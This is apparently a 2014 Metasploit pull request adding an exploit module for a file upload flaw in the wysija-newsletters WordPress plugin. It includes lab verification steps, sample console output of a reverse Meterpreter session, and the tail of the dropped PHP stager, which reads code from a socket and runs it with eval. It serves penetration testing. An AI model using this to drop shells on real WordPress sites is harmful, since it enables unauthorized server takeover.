rapid7/metasploit-framework — pull request #3487 by FireFart (2014-07-02 08:35:48+00:00)
Title: Wordpress - Added wysija file upload exploit

This exploits a PHP file upload vuln in the wysija-newsletters wordpress plugin.
I managed to establish a connection to the uploaded script, but it looks like the PHP meterpreter is broken (It hangs right after `Meterpreter session 1 opened`).
I tried to debug it, add some debug output and so on, but i didn't manage to find the error.
The script on the server is executed successfully, so the module should be good to go.

### Verification Steps
- [ ] Setup a Wordpress test machine: http://codex.wordpress.org/Installing_WordPress
- [ ] Download vulnerable plugin: http://downloads.wordpress.org/plugin/wysija-newsletters.2.6.6.zip
- [ ] Open Wordpress Admin Interface --> Plugins --> Add new --> Upload --> Upload the ZIP file
- [ ] Activate the plugin
- [ ] Verify the plugin has it's option dialog in the backend
- [ ] Run the exploit
- [ ] Watch `WWWROOT/wp-content/uploads/wysija/themes/` for the dropped shell

### Sample Output
```
firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wysija_newsletters_upload RHOST=192.168.126.134 TARGETURI=/wordpress/ E
[*] Initializing modules...
RHOST => 192.168.126.134
TARGETURI => /wordpress/
[*] Started reverse handler on 192.168.126.160:4444
[*] 192.168.126.134:80 - Uploading payload to /wordpress/wp-content/uploads/wysija/themes/rDHODUYZov/oVwdOQqPqI.php
[*] 192.168.126.134:80 - Executing payload /wordpress/wp-content/uploads/wysija/themes/rDHODUYZov/oVwdOQqPqI.php
[*] Sending stage (39904 bytes) to 192.168.126.134
[*] Meterpreter session 1 opened (192.168.126.160:4444 -> 192.168.126.134:37456) at 2014-07-02 10:29:05 +0200
^C[-] Exploit failed: Interrupt

meterpreter >
```

On the server side:
```
root@wordpress:/var/www/wordpress/wp-content/uploads/wysija/themes# tree
.
└── rDHODUYZov
├── oVwdOQqPqI.php
└── style.css

1 directory, 2 files
root@wordpress:/var/www/wordpress/wp-content/uploads/wysija/themes# tail rDHODUYZov/oVwdOQqPqI.php
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}

# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();

```

cc @brandonprry